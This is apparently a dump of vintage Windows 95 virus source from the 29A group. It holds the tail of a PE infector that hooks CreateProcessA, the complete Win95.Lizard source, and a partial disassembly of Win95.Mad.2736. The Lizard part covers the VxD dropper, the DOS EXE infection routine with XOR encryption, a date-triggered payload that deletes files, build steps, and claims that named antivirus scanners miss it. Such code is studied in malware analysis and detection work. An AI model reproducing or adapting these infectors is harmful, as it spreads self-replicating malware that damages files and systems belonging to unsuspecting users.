pop esi
|
||||
pop edi
|
||||
mov ecx,10d
|
||||
rep movsd
|
||||
|
||||
|
||||
; Calculo la nueva Entrypoint RVA
|
||||
mov eax,dword ptr [ebp + offset RVA]
|
||||
add eax,dword ptr [ebp + offset secphy]
|
||||
mov ebx,dword ptr [ebp + offset entrypointRVA]
|
||||
mov dword ptr [ebp + offset entrypointRVA],eax
|
||||
|
||||
add ebx,dword ptr [ebp + offset peheader + 34h] ;le sumo la base adress
|
||||
mov dword ptr [ebp + offset oldip],ebx
|
||||
|
||||
;completo la variable oldip para generar
|
||||
;el jump al hoste
|
||||
|
||||
|
||||
; de nuevo al Pe header
|
||||
mov edx,dword ptr [ebp+offset peheaderoffset]
|
||||
call moverpuntero
|
||||
|
||||
; Escribo el pe header y la object table en el archivo
|
||||
|
||||
mov ecx,dword ptr [ebp + offset headersize]
|
||||
lea edx,[ebp + offset peheader]
|
||||
call escritura
|
||||
|
||||
; Me voy al final del file para copiar el virus
|
||||
mov edx,dword ptr [ebp + offset physicaloffset]
|
||||
add edx,dword ptr [ebp + offset ultfisicalsize]
|
||||
call moverpuntero
|
||||
|
||||
|
||||
; Copio el virus al final (de la ultima secci?n)
|
||||
mov ecx,viriisize
|
||||
lea edx,[ebp + offset startvirii]
|
||||
call escritura
|
||||
|
||||
|
||||
notape:
|
||||
push dword ptr [ebp + ahand]
|
||||
call dword ptr [ebp + newCloseFile]
|
||||
|
||||
|
||||
emergencia:
|
||||
|
||||
lea esi,ebp+codigoparcheado
|
||||
mov edi,dword ptr [ebp+newCreateProcessA] ;pongo otra vez
|
||||
mov ecx,010h ;los 010h primeros bytes
|
||||
rep movsb ;del api
|
||||
|
||||
|
||||
popad
|
||||
pop ebp
|
||||
|
||||
call getdelta2 ;obtengo el delta otra vez
|
||||
getdelta2:pop eax
|
||||
sub eax,offset getdelta2
|
||||
|
||||
|
||||
pop dword ptr [eax+dirretorno]
|
||||
call dword ptr [eax+newCreateProcessA] ;llamo a la api
|
||||
|
||||
push ebp
|
||||
call getdelta3 ;obtengo el delta otra vez
|
||||
getdelta3:pop ebp
|
||||
sub ebp,offset getdelta3
|
||||
|
||||
pushad
|
||||
|
||||
lea esi,ebp+PARCHE
|
||||
mov edi,dword ptr [ebp+newCreateProcessA] ;pongo otra vez
|
||||
mov ecx,010h ;el parche ;del api
|
||||
rep movsb
|
||||
popad
|
||||
pop ebp
|
||||
db 068h ;opcode de un push
|
||||
dirretorno dd 00h
|
||||
ret
|
||||
|
||||
lectura: ;Llamada al api ReadFile
|
||||
push large 0 ;En ecx: Numero de bytes a leer
|
||||
lea eax,[ebp +IOBYTES] ;En edx: el offset del buffer
|
||||
push eax
|
||||
push ecx
|
||||
push edx
|
||||
push dword ptr [ebp + ahand]
|
||||
call dword ptr [ebp + newReadFile]
|
||||
ret
|
||||
|
||||
moverpuntero: ;Llamada al api SetFilePointer
|
||||
push LARGE 0 ;en edx: el offset del archivo
|
||||
push LARGE 0
|
||||
push edx
|
||||
push dword ptr [ebp + ahand]
|
||||
call dword ptr [EBP + newSetFilePointer]
|
||||
ret
|
||||
|
||||
escritura: ;Llamada al api WriteFile
|
||||
;en ecx: bytes a escribir
|
||||
;en edx: offset del buffer
|
||||
push LARGE 0
|
||||
LEA eax,[ebp + IOBYTES]
|
||||
push eax
|
||||
push ecx
|
||||
push edx
|
||||
push dword ptr [ebp + ahand]
|
||||
call dword ptr [ebp + newWriteFile]
|
||||
jur: ret
|
||||
|
||||
endhook:
|
||||
endvirii:
|
||||
end:
|
||||
end startvirii
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,627 @@
|
||||
;Win95.Lizard
|
||||
;-----------------------------------------------------------------------------
|
||||
;Lizard by Reptile/29A (another version ;)
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
; 22222 99999 AAAAA
|
||||
; 222 222 999 999 AAA AAA
|
||||
; 222 999999 AAAAAAA
|
||||
; 222 999 AAA AAA
|
||||
; 2222222 999999 AAA AAA
|
||||
|
||||
;This is an encrypted vxd direct action dos exe infector (I added some anti-
|
||||
;heuristics and other stuff and optimized the code of v1.0).
|
||||
|
||||
;When an infected file is run the virus decrypts itself, drops lzd.vxd to the
|
||||
;available one of the three dirs and then returns back to the host. After the
|
||||
;next reboot...
|
||||
|
||||
;When windoze 95 is starting, it loads the vxd (lzd.vxd) automatically coz
|
||||
;it's in the '\iosubsys\' dir (Lizard doesn't need to modify the system.ini
|
||||
;or the registry). Then the virus takes control and hooks the V86 interrupt
|
||||
;chain. It executes on exec (4bh), create (3ch), ext. open (6ch), close (3eh)
|
||||
;and on find first file (4eh) using direct action techniques to infect all
|
||||
;dos exes in the current directory (*highly* infectious!). Lzd.vxd has a size
|
||||
;of 7099 bytes (masm sux! :P ), but the victims are only increased by 1967 (!)
|
||||
;bytes.
|
||||
|
||||
;Findvirus v7.75, AVP v3.0 and TBAV v8.03 (high heuristic sensitivity!) can't
|
||||
;detect it (all for win95).
|
||||
|
||||
;Compiling lzd.vxd (win95 DDK):
|
||||
;makefile
|
||||
|
||||
;Compiling rmlzd.inc:
|
||||
;tasm /m2 rmlzd.asm
|
||||
;tlink /t rmlzd.obj
|
||||
;file2db rmlzd.com (or another db generator)
|
||||
;modify rmlzd.dat
|
||||
|
||||
;To install copy lzd.vxd to one of the following dirs:
|
||||
;- c:\windows\system\iosubsys
|
||||
;- c:\win95\system\iosubsys
|
||||
;- c:\windows.000\system\iosubsys
|
||||
;...or start lizard.exe :)
|
||||
|
||||
;P.S.:
|
||||
;Sandy: are u lucky now? ;)
|
||||
;Jacky: thanx for testing it!
|
||||
;GriYo: the stack stuff really didn't work :P
|
||||
|
||||
;P.P.S:
|
||||
;TrY MaGiC MuShRoOmS...
|
||||
|
||||
;---[LZD.ASM]-----------------------------------------------------------------
|
||||
|
||||
.386p
|
||||
|
||||
.xlist
|
||||
include vmm.inc
|
||||
.list
|
||||
|
||||
vxdhsize equ 701
|
||||
vxddsize equ 81
|
||||
vxdcsize equ 880
|
||||
esize equ encend - encstart
|
||||
vsize equ vend - start
|
||||
|
||||
Declare_Virtual_Device LZD, 6, 66, LZD_Control, Undefined_Device_Id, \
|
||||
Undefined_Init_Order,,
|
||||
|
||||
VxD_Locked_Data_Seg
|
||||
wcard db '*.e?e',0 ;*.l?z
|
||||
include rmlzd.inc ;realmode code
|
||||
dflag db 0
|
||||
pflag db 0
|
||||
ndta db 43 dup (?)
|
||||
header db 26 dup (?)
|
||||
VxD_Locked_Data_Ends
|
||||
;-----------------------------------------------------------------------------
|
||||
VxD_Locked_Code_Seg
|
||||
BeginProc LZD_Device_Init
|
||||
;trigger
|
||||
mov ah,2ah ;get date
|
||||
vxdint 21h
|
||||
;live drazil si
|
||||
cmp dh,10 ;26.10.?
|
||||
jne npload
|
||||
cmp dl,26
|
||||
jne npload
|
||||
|
||||
mov pflag,1 ;hehe
|
||||
|
||||
npload:
|
||||
mov eax,21h ;install int 21h handler
|
||||
mov esi,offset32 int21h
|
||||
VMMcall Hook_V86_Int_Chain
|
||||
clc
|
||||
ret
|
||||
EndProc LZD_Device_Init
|
||||
;-----------------------------------------------------------------------------
|
||||
BeginProc int21h
|
||||
cmp [ebp.Client_AH],4bh ;exec
|
||||
je short ww
|
||||
cmp [ebp.Client_AH],3ch ;create
|
||||
je short ww
|
||||
cmp [ebp.Client_AH],6ch ;ext. open
|
||||
je short ww
|
||||
cmp [ebp.Client_AH],3eh ;close
|
||||
je short ww
|
||||
cmp [ebp.Client_AH],4eh ;find first
|
||||
je short ww
|
||||
jmp prevhook
|
||||
|
||||
ww:
|
||||
Push_Client_State ;save regs
|
||||
VMMcall Begin_Nest_Exec
|
||||
;-----------------------------------------------------------------------------
|
||||
cmp dflag,1
|
||||
je done
|
||||
mov ax,3d02h ;open lzd.vxd
|
||||
lea edx,dropname1 ;in the 'c:\windows\system\iosubsys' dir
|
||||
vxdint 21h
|
||||
jnc short rd
|
||||
|
||||
mov ax,3d02h ;open the vxd
|
||||
lea edx,dropname2 ;in the 'c:\win95\system\iosubsys' dir
|
||||
vxdint 21h
|
||||
jnc short rd
|
||||
|
||||
mov ax,3d02h ;open the vxd
|
||||
lea edx,dropname3 ;in the 'c:\windows.000\system\iosubsys' dir
|
||||
vxdint 21h
|
||||
jc ecsit ;skip it
|
||||
|
||||
rd:
|
||||
xchg ax,bx
|
||||
|
||||
mov ah,3fh ;store the header of the vxd
|
||||
mov cx,vxdhsize
|
||||
lea edx,vxdheader
|
||||
vxdint 21h
|
||||
|
||||
mov ax,4201h ;jmp over zeros
|
||||
xor cx,cx
|
||||
mov dx,3400
|
||||
vxdint 21h
|
||||
|
||||
mov ah,3fh ;store the vxddata
|
||||
mov cx,vxddsize
|
||||
lea edx,vxddata
|
||||
vxdint 21h
|
||||
|
||||
mov ax,4201h ;jmp over realmodecode and zeros
|
||||
xor cx,cx
|
||||
mov dx,2037
|
||||
vxdint 21h
|
||||
|
||||
mov ah,3fh ;store the vxdcode
|
||||
mov cx,vxdcsize
|
||||
lea edx,vxdcode
|
||||
vxdint 21h
|
||||
|
||||
mov ah,3eh ;close...
|
||||
vxdint 21h
|
||||
|
||||
mov dflag,1 ;set flag
|
||||
;-----------------------------------------------------------------------------
|
||||
done:
|
||||
mov ah,1ah ;set dta
|
||||
lea edx,ndta
|
||||
vxdint 21h
|
||||
|
||||
ffirst:
|
||||
mov ah,4eh ;search for first exe
|
||||
jmp short w
|
||||
fnext:
|
||||
mov ah,4fh ;find next exe
|
||||
w:
|
||||
mov cx,7
|
||||
lea edx,wcard ;*.e?e
|
||||
vxdint 21h
|
||||
jc ecsit
|
||||
|
||||
mov ax,4301h ;set normal attribute
|
||||
mov cx,20h
|
||||
lea edx,[ndta + 30]
|
||||
vxdint 21h
|
||||
|
||||
cmp pflag,1 ;sux0ring microsuckers
|
||||
jne pheeew ;(the payload in v1.0 was a bit too destructive ;)
|
||||
|
||||
evil:
|
||||
;evil payload against the imperialism of microsoft!
|
||||
mov ah,41h ;yhcrana
|
||||
lea edx,[ndta + 30]
|
||||
vxdint 21h
|
||||
jmp ecsit
|
||||
|
||||
pheeew:
|
||||
mov ax,3d02h ;open the victim
|
||||
lea edx,[ndta + 30]
|
||||
vxdint 21h
|
||||
jc fnext
|
||||
xchg ax,bx
|
||||
|
||||
mov ah,3fh ;read header
|
||||
mov cx,26
|
||||
lea edx,header
|
||||
vxdint 21h
|
||||
|
||||
cmp word ptr [header],'ZM' ;exe?
|
||||
jne cfile
|
||||
cmp word ptr [header + 0ch],0ffffh ;allocate all mem?
|
||||
jne cfile
|
||||
cmp word ptr [header + 18h],40h ;win exe?
|
||||
je cfile
|
||||
mov al,[header + 12h] ;infected?
|
||||
or al,al
|
||||
jne cfile
|
||||
|
||||
;save ss:sp
|
||||
mov ax,word ptr [header + 0eh]
|
||||
mov sseg,ax
|
||||
mov ax,word ptr [header + 10h]
|
||||
mov ssp,ax
|
||||
|
||||
;save cs:ip
|
||||
mov eax,dword ptr [header + 14h]
|
||||
mov csip,eax
|
||||
|
||||
mov ax,4202h ;eof
|
||||
xor cx,cx
|
||||
cwd
|
||||
vxdint 21h
|
||||
|
||||
;calc new cs:ip
|
||||
mov cx,16
|
||||
div cx
|
||||
sub ax,word ptr [header + 8]
|
||||
|
||||
mov word ptr [header + 14h],dx
|
||||
mov word ptr [header + 16h],ax
|
||||
|
||||
add edx,vend ;calc stack
|
||||
|
||||
mov word ptr [header + 0eh],ax
|
||||
mov word ptr [header + 10h],dx
|
||||
|
||||
;xor encryption
|
||||
rdnm:
|
||||
in al,40h
|
||||
or al,al
|
||||
je rdnm
|
||||
mov [encval],al ;save random value
|
||||
|
||||
mov edi,offset32 encstart
|
||||
mov cx,esize
|
||||
xl:
|
||||
xor [edi],al
|
||||
inc edi
|
||||
loop xl
|
||||
|
||||
;write virus
|
||||
mov ah,40h
|
||||
mov cx,vsize
|
||||
mov edx,offset32 start
|
||||
vxdint 21h
|
||||
|
||||
;undo
|
||||
mov al,[encval]
|
||||
mov edi,offset32 encstart
|
||||
mov cx,esize
|
||||
|
||||
xll:
|
||||
xor [edi],al
|
||||
inc edi
|
||||
loop xll
|
||||
|
||||
mov ax,4202h ;eof
|
||||
xor cx,cx
|
||||
cwd
|
||||
vxdint 21h
|
||||
|
||||
mov cx,512 ;calc pages
|
||||
div cx
|
||||
or dx,dx
|
||||
jz short np
|
||||
inc ax
|
||||
np:
|
||||
mov word ptr [header + 4],ax
|
||||
mov word ptr [header + 2],dx
|
||||
|
||||
mov ax,4200h ;bof
|
||||
xor cx,cx
|
||||
cwd
|
||||
vxdint 21h
|
||||
|
||||
rnd:
|
||||
in al,40h ;set infection flag
|
||||
or al,al
|
||||
je rnd
|
||||
mov [header + 12h],al
|
||||
|
||||
mov ah,40h ;write new header
|
||||
mov cx,26
|
||||
lea edx,header
|
||||
vxdint 21h
|
||||
|
||||
cfile:
|
||||
mov cl,byte ptr [ndta + 21] ;restore attribute
|
||||
lea edx,[ndta + 1eh]
|
||||
mov ax,4301h
|
||||
vxdint 21h
|
||||
|
||||
mov cx,word ptr [ndta + 22] ;restore time/date
|
||||
mov dx,word ptr [ndta + 24]
|
||||
mov ax,5701
|
||||
vxdint 21h
|
||||
|
||||
mov ah,3eh ;close file
|
||||
vxdint 21h
|
||||
jmp fnext
|
||||
|
||||
ecsit:
|
||||
VMMcall End_Nest_Exec
|
||||
Pop_Client_State
|
||||
|
||||
prevhook:
|
||||
stc
|
||||
ret
|
||||
EndProc int21h
|
||||
;-----------------------------------------------------------------------------
|
||||
BeginProc LZD_Control
|
||||
Control_Dispatch Init_Complete,LZD_Device_Init
|
||||
clc
|
||||
ret
|
||||
EndProc LZD_Control
|
||||
wb db 13,10,'Lizard by Reptile/29A',0
|
||||
VxD_Locked_Code_Ends
|
||||
End ;this is the end my only friend the end...
|
||||
|
||||
;---[RMLZD.ASM]---------------------------------------------------------------
|
||||
|
||||
;Lizard's real mode portion
|
||||
|
||||
.286
|
||||
|
||||
vxdhsize equ 701
|
||||
vxddsize equ 81
|
||||
vxdcsize equ 880
|
||||
esize equ encend - encstart
|
||||
rmsize equ rmend - rmstart
|
||||
|
||||
.model tiny
|
||||
|
||||
.code
|
||||
org 100h
|
||||
start:
|
||||
rmstart:
|
||||
;get delta
|
||||
;-----------------------------------------------------------------------------
|
||||
call $ + 3
|
||||
drazil:
|
||||
pop si
|
||||
sub si,offset drazil
|
||||
push si
|
||||
pop bp
|
||||
;-----------------------------------------------------------------------------
|
||||
push ds ;coz psp
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
;decrypt it
|
||||
db 176 ;mov al
|
||||
encval db 0
|
||||
;-----------------------------------------------------------------------------
|
||||
lea di,[bp + offset encstart]
|
||||
mov cx,esize
|
||||
xd:
|
||||
jmp fj
|
||||
fj2:
|
||||
inc di
|
||||
loop xd
|
||||
jmp encstart
|
||||
fj:
|
||||
xor [di],al
|
||||
jmp fj2
|
||||
;-----------------------------------------------------------------------------
|
||||
encstart:
|
||||
mov ax,3d00h ;try to open lzd.vxd in
|
||||
lea dx,[bp + offset dropname1] ;c:\windows\system\iosubsys
|
||||
int 21h
|
||||
jnc cfile ;exit if already installed
|
||||
mov ah,3ch ;install lzd.vxd
|
||||
xor cx,cx
|
||||
int 21h
|
||||
jnc inst
|
||||
|
||||
mov ax,3d00h ;try to open lzd.vxd in
|
||||
lea dx,[bp + offset dropname2] ;c:\win95\system\iosubsys
|
||||
int 21h
|
||||
jnc cfile
|
||||
mov ah,3ch
|
||||
xor cx,cx
|
||||
int 21h
|
||||
jnc inst
|
||||
|
||||
mov ax,3d00h ;try to open lzd.vxd in
|
||||
lea dx,[bp + offset dropname3] ;c:\windows.000\system\iosubsys
|
||||
int 21h
|
||||
jnc cfile
|
||||
mov ah,3ch
|
||||
xor cx,cx
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
inst:
|
||||
xchg ax,bx
|
||||
|
||||
mov ah,40h ;write the header
|
||||
mov cx,vxdhsize
|
||||
lea dx,[bp + offset vxdheader]
|
||||
int 21h
|
||||
|
||||
;write some zeros
|
||||
mov cx,3400
|
||||
lzero:
|
||||
push cx
|
||||
mov ah,40h
|
||||
mov cx,1
|
||||
lea dx,[bp + zero]
|
||||
int 21h
|
||||
pop cx
|
||||
loop lzero
|
||||
|
||||
mov ah,40h ;write the data
|
||||
mov cx,vxddsize
|
||||
lea dx,[bp + offset vxddata]
|
||||
int 21h
|
||||
|
||||
mov ah,40h ;write the rmcode
|
||||
mov cx,rmsize
|
||||
lea dx,[bp + offset rmstart]
|
||||
int 21h
|
||||
|
||||
;write some more zeros
|
||||
mov cx,1732
|
||||
lzero2:
|
||||
push cx
|
||||
mov ah,40h
|
||||
mov cx,1
|
||||
lea dx,[bp + zero]
|
||||
int 21h
|
||||
pop cx
|
||||
loop lzero2
|
||||
|
||||
mov ah,40h ;write the code
|
||||
mov cx,vxdcsize
|
||||
lea dx,[bp + offset vxdcode]
|
||||
int 21h
|
||||
|
||||
cfile:
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
;exe return
|
||||
exit:
|
||||
pop ax ;psp
|
||||
add ax,11h
|
||||
dec ax
|
||||
add word ptr [bp + offset csip + 2],ax
|
||||
|
||||
;stack
|
||||
db 5 ;add ax
|
||||
sseg dw 0fff0h ;test
|
||||
mov ss,ax
|
||||
|
||||
db 0bch ;mov sp
|
||||
ssp dw 0fffeh
|
||||
|
||||
db 0eah
|
||||
csip dd 0fff00000h
|
||||
|
||||
zero db 0
|
||||
|
||||
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
|
||||
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
|
||||
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
|
||||
rmend:
|
||||
vxdheader db vxdhsize dup (?)
|
||||
vxddata db vxddsize dup (?)
|
||||
vxdcode db vxdcsize dup (?)
|
||||
encend:
|
||||
ends
|
||||
end start
|
||||
|
||||
;---[RMLZD.INC]---------------------------------------------------------------
|
||||
|
||||
;Modified db listing of rmlzd.com
|
||||
|
||||
start:
|
||||
db 0E8h, 000h, 000h, 05Eh, 081h, 0EEh, 003h, 001h
|
||||
db 056h, 05Dh, 01Eh, 00Eh, 01Fh, 0B0h
|
||||
;db 000h
|
||||
encval db 0
|
||||
db 08Dh
|
||||
db 0BEh, 021h, 001h, 0B9h, 08Eh, 007h, 0EBh, 005h
|
||||
db 047h, 0E2h, 0FBh, 0EBh, 004h, 030h, 005h, 0EBh
|
||||
db 0F7h
|
||||
encstart:
|
||||
db 0B8h, 000h, 03Dh, 08Dh, 096h, 0C6h, 001h
|
||||
db 0CDh, 021h, 073h, 07Fh, 0B4h, 03Ch, 033h, 0C9h
|
||||
db 0CDh, 021h, 073h, 026h, 0B8h, 000h, 03Dh, 08Dh
|
||||
db 096h, 0E9h, 001h, 0CDh, 021h, 073h, 06Ch, 0B4h
|
||||
db 03Ch, 033h, 0C9h, 0CDh, 021h, 073h, 013h, 0B8h
|
||||
db 000h, 03Dh, 08Dh, 096h, 00Ah, 002h, 0CDh, 021h
|
||||
db 073h, 059h, 0B4h, 03Ch, 033h, 0C9h, 0CDh, 021h
|
||||
db 072h, 055h, 093h, 0B4h, 040h, 0B9h, 0BDh, 002h
|
||||
db 08Dh, 096h, 031h, 002h, 0CDh, 021h, 0B9h, 048h
|
||||
db 00Dh, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
|
||||
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
|
||||
db 0B4h, 040h, 0B9h, 051h, 000h, 08Dh, 096h, 0EEh
|
||||
db 004h, 0CDh, 021h, 0B4h, 040h, 0B9h, 031h, 001h
|
||||
db 08Dh, 096h, 000h, 001h, 0CDh, 021h, 0B9h, 0C4h
|
||||
db 006h, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
|
||||
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
|
||||
db 0B4h, 040h, 0B9h, 070h, 003h, 08Dh, 096h, 03Fh
|
||||
db 005h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 058h
|
||||
db 005h, 011h, 000h, 048h, 001h, 086h, 0C3h, 001h
|
||||
db
|
||||
;db 0F0h, 0FFh
|
||||
sseg dw 0fff0h ;not necessary
|
||||
db 08Eh, 0D0h, 0BCh
|
||||
;db 0FEh, 0FFh
|
||||
ssp dw 0fffeh
|
||||
db
|
||||
;db 000h, 000h, 0F0h, 0FFh
|
||||
csip dd 0fff00000h
|
||||
db 000h
|
||||
;db 063h, 03Ah
|
||||
;db
|
||||
;db
|
||||
;db
|
||||
;db
|
||||
;db
|
||||
;db
|
||||
;db
|
||||
;db 073h, 05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h
|
||||
;db 064h, 000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh
|
||||
;db 064h, 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h
|
||||
;db 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch
|
||||
;db
|
||||
;db
|
||||
;db
|
||||
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
|
||||
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
|
||||
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
|
||||
vxdheader db vxdhsize dup (?)
|
||||
vxddata db vxddsize dup (?)
|
||||
vxdcode db vxdcsize dup (?)
|
||||
encend:
|
||||
vend:
|
||||
|
||||
;---[LZD.DEF]-----------------------------------------------------------------
|
||||
|
||||
VXD LZD DYNAMIC
|
||||
DESCRIPTION ''
|
||||
SEGMENTS
|
||||
_LPTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||||
_LTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||||
_LDATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||||
_TEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||||
_DATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||||
CONST CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||||
_TLS CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||||
_BSS CLASS 'LCODE' PRELOAD NONDISCARDABLE
|
||||
_ITEXT CLASS 'ICODE' DISCARDABLE
|
||||
_IDATA CLASS 'ICODE' DISCARDABLE
|
||||
_PTEXT CLASS 'PCODE' NONDISCARDABLE
|
||||
_PDATA CLASS 'PDATA' NONDISCARDABLE SHARED
|
||||
_STEXT CLASS 'SCODE' RESIDENT
|
||||
_SDATA CLASS 'SCODE' RESIDENT
|
||||
_DBOSTART CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
|
||||
_DBOCODE CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
|
||||
_DBODATA CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING
|
||||
_16ICODE CLASS '16ICODE' PRELOAD DISCARDABLE
|
||||
_RCODE CLASS 'RCODE'
|
||||
|
||||
EXPORTS
|
||||
LZD_DDB @1
|
||||
|
||||
;---[MAKEFILE]----------------------------------------------------------------
|
||||
|
||||
NAME = lzd
|
||||
|
||||
LINK = LINK
|
||||
|
||||
ASM = ml
|
||||
AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 -DDEBLEVEL=0
|
||||
ASMENV = ML
|
||||
LFLAGS = /VXD /NOD
|
||||
|
||||
.asm.obj:
|
||||
set $(ASMENV)=$(AFLAGS)
|
||||
$(ASM) -Fo$*.obj $<
|
||||
|
||||
all : $(NAME).VXD
|
||||
|
||||
OBJS = lzd.obj
|
||||
|
||||
lzd.obj: lzd.asm
|
||||
|
||||
$(NAME).VxD: $(NAME).def $(OBJS)
|
||||
link @<<$(NAME).lnk
|
||||
$(LFLAGS)
|
||||
/OUT:$(NAME).VxD
|
||||
/MAP:$(NAME).map
|
||||
/DEF:$(NAME).def
|
||||
$(OBJS)
|
||||
<<
|
||||
|
||||
@del *.exp>nul
|
||||
@del *.lib>nul
|
||||
@del *.map>nul
|
||||
@del *.obj>nul
|
||||
;...
|
||||
@@ -0,0 +1,525 @@
|
||||
;Win95.Mad.2736 disassembly
|
||||
;(c) Vecna/29A
|
||||
|
||||
;Here is the disassembly of one of the first Win95 virus, that implemented
|
||||
;several original features. It was the first encripted win95 virus, and
|
||||
;the second one to not add a new section to the host (the first according
|
||||
;to AVPVE) the first was actually Win32.Jacky. When executed,
|
||||
;it search the kernel32 in memory for GetProcAddress and GetModuleHandleA,
|
||||
;and call they everytime that need get a function, instead of searching
|
||||
;once and storing the API address. Anyway, the API search dont seens reliable
|
||||
;enought, and i cant make it replicate in my machine.
|
||||
|
||||
;A special thank goes this time for VirusBuster, my virus provider, that
|
||||
;always have nice virii for me... :-)
|
||||
;Tasm /m w95mad.asm
|
||||
|
||||
|
||||
.386p
|
||||
.model flat
|
||||
.data
|
||||
dd ?
|
||||
|
||||
.code
|
||||
|
||||
start:
|
||||
call delta
|
||||
delta:
|
||||
pop edi
|
||||
mov eax, edi
|
||||
old_RVA:
|
||||
sub eax, 2005h ;setup host entry point
|
||||
sub edi, offset delta
|
||||
mov ds:HostEntry[edi], eax
|
||||
mov ds:SaveEBP[edi], ebp
|
||||
mov ebp, edi
|
||||
xor eax, eax
|
||||
mov edi, offset start_encript
|
||||
add edi, ebp
|
||||
mov ecx, 0A6Bh
|
||||
mov al, ss:Key[ebp]
|
||||
decript_loop:
|
||||
xor [edi], al
|
||||
inc edi
|
||||
loop decript_loop
|
||||
jmp short start_encript
|
||||
|
||||
HostEntry dd 0
|
||||
SaveEBP dd 0
|
||||
Key db 0
|
||||
|
||||
start_encript:
|
||||
mov ss:TotalInf[ebp], 0
|
||||
mov eax, 4550h
|
||||
mov edi, 0BFF70000h
|
||||
mov ecx, 1000h
|
||||
cld
|
||||
search_kernel:
|
||||
repne scasw
|
||||
jnz return_host
|
||||
add ss:Seed[ebp], edi
|
||||
dec edi
|
||||
dec edi
|
||||
cmp word ptr [edi+4], 14Ch
|
||||
jnz short search_kernel
|
||||
cmp word ptr [edi+14h], 0
|
||||
jz short search_kernel
|
||||
mov bx, [edi+16h]
|
||||
and bx, 0F000h
|
||||
cmp bx, 2000h ;is a DLL?
|
||||
jnz short search_kernel
|
||||
cmp dword ptr [edi+34h], 0BFF70000h
|
||||
jl short search_kernel
|
||||
mov eax, [edi+34h]
|
||||
mov ss:KernelBase[ebp], eax
|
||||
xor eax, eax
|
||||
mov ax, [edi+14h]
|
||||
add eax, edi
|
||||
add eax, 18h
|
||||
mov cx, [edi+6] ;number of sections
|
||||
search_edata:
|
||||
cmp dword ptr [eax], 'ADE.'
|
||||
jnz short no_edata
|
||||
cmp dword ptr [eax+4], 'AT' ;search all sectionz for the
|
||||
jz short found_export ;export section
|
||||
no_edata:
|
||||
add eax, 28h
|
||||
dec cx
|
||||
or cx, cx
|
||||
jnz short search_edata
|
||||
jmp return_host
|
||||
|
||||
found_export:
|
||||
mov ebx, [eax+0Ch]
|
||||
add ebx, ss:KernelBase[ebp]
|
||||
mov edi, [ebx+20h]
|
||||
add edi, ss:KernelBase[ebp]
|
||||
mov ecx, [ebx+14h]
|
||||
sub ecx, [ebx+18h]
|
||||
mov eax, 4
|
||||
mul ecx
|
||||
mov ss:pAPIRVA[ebp], eax
|
||||
mov ecx, [ebx+18h]
|
||||
mov eax, 4
|
||||
mul ecx
|
||||
xchg eax, ecx
|
||||
xchg edi, edx
|
||||
|
||||
search_APIs:
|
||||
sub ecx, 4
|
||||
mov edi, edx
|
||||
add edi, ecx
|
||||
mov edi, [edi]
|
||||
add edi, ss:KernelBase[ebp]
|
||||
lea esi, szGetProcAddres[ebp]
|
||||
lea eax, pGetProcAddress[ebp]
|
||||
call extract_addr
|
||||
lea eax, pGetModuleHdle[ebp]
|
||||
lea esi, szGetModuleHdle[ebp]
|
||||
call extract_addr
|
||||
cmp ecx, 0
|
||||
jnz short search_APIs
|
||||
cmp ss:pGetProcAddress[ebp], 0
|
||||
jz return_host
|
||||
cmp ss:pGetModuleHdle[ebp], 0
|
||||
jz return_host
|
||||
lea eax, _Kernel32[ebp]
|
||||
push eax
|
||||
mov eax, ss:pGetModuleHdle[ebp]
|
||||
call eax
|
||||
mov ss:KernelHandle[ebp], eax
|
||||
cmp eax, 0
|
||||
jz return_host
|
||||
lea eax, _GetDir[ebp]
|
||||
call get_api_addr
|
||||
jb _check_payload
|
||||
lea edx, CurrentDir[ebp]
|
||||
push edx
|
||||
push 0FFh ;save current directory
|
||||
call eax
|
||||
|
||||
find_filez:
|
||||
lea eax, _FFile[ebp]
|
||||
call get_api_addr
|
||||
jb no_payload
|
||||
mov edx, offset FINDATA ;start of find struct
|
||||
add edx, ebp
|
||||
push edx
|
||||
mov edx, offset ExeMask
|
||||
add edx, ebp
|
||||
push edx
|
||||
call eax
|
||||
mov ss:SearchHandle[ebp], eax
|
||||
cmp eax, 0FFFFFFFFh
|
||||
jz change_dir ;error, then go down a dir
|
||||
|
||||
infect_next:
|
||||
mov eax, dword ptr ss:FileName[ebp]
|
||||
xor ss:Seed[ebp], eax
|
||||
cmp eax, 186A0h
|
||||
jnb error_close
|
||||
cmp ss:Security[ebp], 0 ;maybe a safeguard flag?
|
||||
jnz error_close ;win95 never set this, so
|
||||
lea eax, _CreateFile[ebp] ;probably is a safeguard
|
||||
call get_api_addr ;to no infect own hdd
|
||||
jb no_payload
|
||||
push 0
|
||||
push ss:FINDATA[ebp]
|
||||
push 3
|
||||
push 0
|
